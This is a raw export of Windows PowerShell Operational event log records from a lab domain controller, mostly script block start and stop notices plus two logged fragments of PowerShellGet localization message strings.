Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467106
Keywords=None
Message=Started invocation of ScriptBlock ID: 89f9a84f-1999-4001-aa45-9a89d206ecd1
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467105
Keywords=None
Message=Started invocation of ScriptBlock ID: 2936c094-81a2-4409-93d7-92d7fce5ceae
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467104
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2936c094-81a2-4409-93d7-92d7fce5ceae
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467103
Keywords=None
Message=Completed invocation of ScriptBlock ID: 89f9a84f-1999-4001-aa45-9a89d206ecd1
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467102
Keywords=None
Message=Started invocation of ScriptBlock ID: 89f9a84f-1999-4001-aa45-9a89d206ecd1
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467101
Keywords=None
Message=Started invocation of ScriptBlock ID: 2936c094-81a2-4409-93d7-92d7fce5ceae
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467100
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2936c094-81a2-4409-93d7-92d7fce5ceae
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467099
Keywords=None
Message=Completed invocation of ScriptBlock ID: 89f9a84f-1999-4001-aa45-9a89d206ecd1
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467098
Keywords=None
Message=Started invocation of ScriptBlock ID: 89f9a84f-1999-4001-aa45-9a89d206ecd1
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467097
Keywords=None
Message=Started invocation of ScriptBlock ID: 2936c094-81a2-4409-93d7-92d7fce5ceae
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467096
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2936c094-81a2-4409-93d7-92d7fce5ceae
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467095
Keywords=None
Message=Completed invocation of ScriptBlock ID: 89f9a84f-1999-4001-aa45-9a89d206ecd1
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467094
Keywords=None
Message=Started invocation of ScriptBlock ID: 89f9a84f-1999-4001-aa45-9a89d206ecd1
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467093
Keywords=None
Message=Started invocation of ScriptBlock ID: 2936c094-81a2-4409-93d7-92d7fce5ceae
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467092
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2936c094-81a2-4409-93d7-92d7fce5ceae
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467091
Keywords=None
Message=Completed invocation of ScriptBlock ID: 89f9a84f-1999-4001-aa45-9a89d206ecd1
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467090
Keywords=None
Message=Started invocation of ScriptBlock ID: 89f9a84f-1999-4001-aa45-9a89d206ecd1
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467089
Keywords=None
Message=Started invocation of ScriptBlock ID: 2936c094-81a2-4409-93d7-92d7fce5ceae
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467088
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2936c094-81a2-4409-93d7-92d7fce5ceae
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467087
Keywords=None
Message=Completed invocation of ScriptBlock ID: 89f9a84f-1999-4001-aa45-9a89d206ecd1
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467086
Keywords=None
Message=Started invocation of ScriptBlock ID: 89f9a84f-1999-4001-aa45-9a89d206ecd1
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467085
Keywords=None
Message=Started invocation of ScriptBlock ID: 2936c094-81a2-4409-93d7-92d7fce5ceae
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467084
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2936c094-81a2-4409-93d7-92d7fce5ceae
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467083
Keywords=None
Message=Completed invocation of ScriptBlock ID: 89f9a84f-1999-4001-aa45-9a89d206ecd1
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467082
Keywords=None
Message=Started invocation of ScriptBlock ID: 89f9a84f-1999-4001-aa45-9a89d206ecd1
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467081
Keywords=None
Message=Started invocation of ScriptBlock ID: 2936c094-81a2-4409-93d7-92d7fce5ceae
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467080
Keywords=None
Message=Completed invocation of ScriptBlock ID: ddd9f846-cfec-46c3-886c-fca415c9f34d
Runspace ID: ff8d1fcc-94d9-4078-8466-5208a6cb51d2
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467079
Keywords=None
Message=Started invocation of ScriptBlock ID: ddd9f846-cfec-46c3-886c-fca415c9f34d
Runspace ID: ff8d1fcc-94d9-4078-8466-5208a6cb51d2
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467078
Keywords=None
Message=Completed invocation of ScriptBlock ID: ddd9f846-cfec-46c3-886c-fca415c9f34d
Runspace ID: ff8d1fcc-94d9-4078-8466-5208a6cb51d2
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467077
Keywords=None
Message=Started invocation of ScriptBlock ID: ddd9f846-cfec-46c3-886c-fca415c9f34d
Runspace ID: ff8d1fcc-94d9-4078-8466-5208a6cb51d2
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467076
Keywords=None
Message=Completed invocation of ScriptBlock ID: da509330-2750-4195-852f-b8c70894f216
Runspace ID: ff8d1fcc-94d9-4078-8466-5208a6cb51d2
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467075
Keywords=None
Message=Started invocation of ScriptBlock ID: da509330-2750-4195-852f-b8c70894f216
Runspace ID: ff8d1fcc-94d9-4078-8466-5208a6cb51d2
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467074
Keywords=None
Message=Completed invocation of ScriptBlock ID: 33abcfef-bb94-4a94-a086-4ec444ae02cc
Runspace ID: ff8d1fcc-94d9-4078-8466-5208a6cb51d2
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467073
Keywords=None
Message=Started invocation of ScriptBlock ID: 33abcfef-bb94-4a94-a086-4ec444ae02cc
Runspace ID: ff8d1fcc-94d9-4078-8466-5208a6cb51d2
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467072
Keywords=None
Message=Completed invocation of ScriptBlock ID: 3140fed5-5fa2-447a-8859-aac0ee795721
Runspace ID: ff8d1fcc-94d9-4078-8466-5208a6cb51d2
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467071
Keywords=None
Message=Started invocation of ScriptBlock ID: 3140fed5-5fa2-447a-8859-aac0ee795721
Runspace ID: ff8d1fcc-94d9-4078-8466-5208a6cb51d2
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467070
Keywords=None
Message=Completed invocation of ScriptBlock ID: 45379c41-a4a5-4f66-b608-7333082ce12f
Runspace ID: ff8d1fcc-94d9-4078-8466-5208a6cb51d2
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467069
Keywords=None
Message=Completed invocation of ScriptBlock ID: 6e925164-9e2f-4b72-a634-5bfcdef94594
Runspace ID: ff8d1fcc-94d9-4078-8466-5208a6cb51d2
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467068
Keywords=None
Message=Started invocation of ScriptBlock ID: 6e925164-9e2f-4b72-a634-5bfcdef94594
Runspace ID: ff8d1fcc-94d9-4078-8466-5208a6cb51d2
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=3
Type=Warning
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1467067
Keywords=None
Message=Creating Scriptblock text (3 of 3):
}' to the publish location '{1}'. Please allow few minutes for '{2}' to show up in the search results.
UnableToResolveScriptDependency=PowerShellGet cannot resolve the {0} dependency '{1}' of the script '{2}' on the repository '{3}'. Verify that the dependent {0} '{1}' is available in the repository '{3}'. If this dependent {0} '{1}' is managed externally, add it to the '{4}' entry in the script metadata.
InvalidVersion=Cannot convert value '{0}' to type 'System.Version'.
InvalidGuid=Cannot convert value '{0}' to type 'System.Guid'.
InvalidParameterValue=The specified value '{0}' for the parameter '{1}' is invalid. Ensure that it does not contain '<#' or '#>'.
MissingPSScriptInfo=PSScriptInfo is not specified in the script file '{0}'. You can use the Update-ScriptFileInfo with -Force or New-ScriptFileInfo cmdlet to add the PSScriptInfo to the script file.
MissingRequiredPSScriptInfoProperties=Script '{0}' is missing required metadata properties. Verify that the script file has Version, Guid, Description and Author properties. You can use the Update-ScriptFileInfo or New-ScriptFileInfo cmdlet to add or update the PSScriptInfo to the script file.
SkippedScriptDependency=Because dependent script '{0}' was skipped in the script dependencies list, users might not know how to install it.
SourceLocationPathsForModulesAndScriptsShouldBeEqual=SourceLocation '{0}' and ScriptSourceLocation '{1}' should be same for SMB Share or Local directory based repositories.
SourceLocationUrisForModulesAndScriptsShouldBeDifferent=SourceLocation '{0}' and ScriptSourceLocation '{1}' should not be same for URI based repositories.
PublishLocationPathsForModulesAndScriptsShouldBeEqual=PublishLocation '{0}' and ScriptPublishLocation '{1}' should be same for SMB Share or Local directory based repositories.
SpecifiedNameIsAlearyUsed=The specified name '{0}' is already used for a different item on the specified repository '{1}'. Run '{2} -Name {0} -Repository {1}' to check whether the specified name '{0}' is already taken.
InvalidScriptFilePath=The script file path '{0}' is not valid. The value of the Path argument must resolve to a single file that has a '.ps1' extension. Change the value of the Path argument to point to a valid ps1 file, and then try again.
NuGetApiKeyIsRequiredForNuGetBasedGalleryService=NuGetApiKey is required for publishing a module or script file to the specified repository '{0}' whose publish location is '{1}'. Try again after specifying a valid value for the NuGetApiKey parameter. To get your API key, view your profile page.
ScriptFileExist=The specified script file '{0}' already exists.
PublishPSArtifactUnsupportedOnNano=Publish-{0} is not supported on Nano Server.
InvalidEnvironmentVariableName=The specified environment variable name '{0}' exceeded the allowed limit of '{1}' characters.
PublishLocation=Publish Location:'{0}'.
ScriptPATHPromptCaption=PATH Environment Variable Change
ScriptPATHPromptQuery=Your system has not been configured with a default script installation path yet, which means you can only run a script by specifying the full path to the script file. This action places the script into the folder '{0}', and adds that folder to your PATH environment variable. Do you want to add the script installation path '{0}' to the PATH environment variable?
AddedScopePathToProcessSpecificPATHVariable=Added scripts installation location '{0}' for '{1}' scope to process specific PATH environment varaible.
AddedScopePathToPATHVariable=Added scripts installation location '{0}' for '{1}' scope to PATH environment varaible.
FilePathInFileListNotWithinModuleBase=Path '{0}' defined in FileList is not within module base '{1}'. Provide the correct FileList parameters and then try again.
ManifestFileReadWritePermissionDenied=The current user does not have read-write permissions for the file:'{0}'. Check the file permissions and then try again.
MissingTheRequiredPathOrPassThruParameter=The Path or PassThru parameter is required for creating the script file info. A new script file will be created with the script file info when the Path parameter is specified. Script file info will be returned if the PassThru parameter is specified. Try again after specifying the required parameter.
DescriptionParameterIsMissingForAddingTheScriptFileInfo=Description parameter is missing for adding the metadata to the script file. Try again after specifying the description.
UnableToAddPSScriptInfo=Unable to add PSScriptInfo to the script file '{0}'. You can use the New-ScriptFileInfo cmdlet to add the metadata to the existing script file.
RegisterVSTSFeedAsNuGetPackageSource=Publishing to a VSTS package management feed '{0}' requires it to be registered as a NuGet package source. Retry after adding this source '{0}' as NuGet package source by following the instructions specified at '{1}'
InvalidModuleAuthenticodeSignature=The module '{0}' cannot be installed or updated because the authenticode signature of the file '{1}' is not valid.
InvalidCatalogSignature=The module '{0}' cannot be installed because the catalog signature in '{1}' does not match the hash generated from the module.
AuthenticodeIssuerMismatch=Authenticode issuer '{0}' of the new module '{1}' with version '{2}' is not matching with the authenticode issuer '{3}' of the previously-installed module '{4}' with version '{5}'. If you still want to install or update, use -SkipPublisherCheck parameter.
ModuleCommandAlreadyAvailable=A command with name '{0}' is already available on this system. This module '{1}' may override the existing commands. If you still want to install this module '{1}', use -AllowClobber parameter.
CatalogFileFound=Found the catalog file '{0}' in the module '{1}' contents.
CatalogFileNotFoundInAvailableModule=Catalog file '{0}' is not found in the contents of the previously-installed module '{1}' with the same name.
CatalogFileNotFoundInNewModule=Catalog file '{0}' is not found in the contents of the module '{1}' being installed.
ValidAuthenticodeSignature=Valid authenticode signature found in the catalog file '{0}' for the module '{1}'.
ValidAuthenticodeSignatureInFile=Valid authenticode signature found in the file '{0}' for the module '{1}'.
ValidatingCatalogSignature=Validating the '{0}' module files for catalog signing using the catalog file '{1}'.
AuthenticodeIssuerMatch=Authenticode issuer '{0}' of the new module '{1}' with version '{2}' matches with the authenticode issuer '{3}' of the previously-installed module '{4}' with version '{5}'.
ValidCatalogSignature=The catalog signature in '{0}' of the module '{1}' is valid and matches with the hash generated from the module contents.
SkippingPublisherCheck=Skipping the Publisher check for the version '{0}' of module '{1}'.
SourceModuleDetailsForPublisherValidation=For publisher validation, using the previously-installed module '{0}' with version '{1}' under '{2}' with publisher name '{3}'. Is this module signed by Microsoft: '{4}'.
NewModuleVersionDetailsForPublisherValidation=For publisher validation, current module '{0}' with version '{1}' with publisher name '{2}'. Is this module signed by Microsoft: '{3}'.
PublishersMatch=Publisher '{0}' of the new module '{1}' with version '{2}' matches with the publisher '{3}' of the previously-installed module '{4}' with version '{5}'. Both versions are signed with a Microsoft root certifacte.
PublishersMismatch=A Microsoft-signed module named '{0}' with version '{1}' that was previously installed conflicts with the new module '{2}' from publisher '{3}' with version '{4}'. Installing the new module may result in system instability. If you still want to install or update, use -SkipPublisherCheck parameter.
ModuleIsNotCatalogSigned=The version '{0}' of the module '{1}' being installed is not catalog signed. Ensure that the version '{0}' of the module '{1}' has the catalog file '{2}' and signed with the same publisher '{3}' as the previously-installed module '{0}' with version '{4}' under the directory '{5}'. If you still want to install or update, use -SkipPublisherCheck parameter.
###PSLOC
'@
ScriptBlock ID: 6e925164-9e2f-4b72-a634-5bfcdef94594
Path:
06/15/2021 04:59:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=3
Type=Warning
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1467066
Keywords=None
Message=Creating Scriptblock text (2 of 3):
}' to a valid NuGet publishing endpoint using the Set-PSRepository cmdlet.
PublishScriptSupportsOnlyNuGetBasedPublishLocations=Publish-Script only supports the NuGet-based publish locations. The ScriptPublishLocation '{0}' of the repository '{1}' is not a NuGet-based publish location. Retry after setting the ScriptPublishLocation for repository '{1}' to a valid NuGet publishing endpoint using the Set-PSRepository cmdlet.
DynamicParameterHelpMessage=The dynamic parameter '{0}' is required for Find-Module and Install-Module when using the PackageManagement provider '{1}' and source location '{2}'. Please enter your value for the '{3}' dynamic parameter:
ProviderApiDebugMessage=In PowerShellGet Provider - '{0}'.
ModuleUninstallNotSupported=Module uninstallation is not supported. To remove a module, please delete the module folder.
FastPackageReference=The FastPackageReference is '{0}'.
PackageManagementProviderIsNotAvailable=The specified PackageManagement provider '{0}' is not available.
SpecifiedSourceName=Using the specified source names : '{0}'.
SpecifiedLocationAndOGP=The specified Location is '{0}' and PackageManagementProvider is '{1}'.
NoSourceNameIsSpecified=The -Repository parameter was not specified. PowerShellGet will use all of the registered repositories.
GettingPackageManagementProviderObject=Getting the provider object for the PackageManagement Provider '{0}'.
InvalidInputObjectValue=Invalid value is specified for InputObject parameter.
SpecifiedInstallationScope=The installation scope is specified to be '{0}'.
SourceLocationValueForPSGalleryCannotBeChanged=The SourceLocation value for the PSGallery repository can not be changed.
PublishLocationValueForPSGalleryCannotBeChanged=The PublishLocation value for the PSGallery repository can not be changed.
SpecifiedProviderName=The specified PackageManagement provider name '{0}'.
ProviderNameNotSpecified=User did not specify the PackageManagement provider name, trying with the provider name '{0}'.
SpecifiedProviderNotAvailable=The specified PackageManagement provider '{0}' is not available.
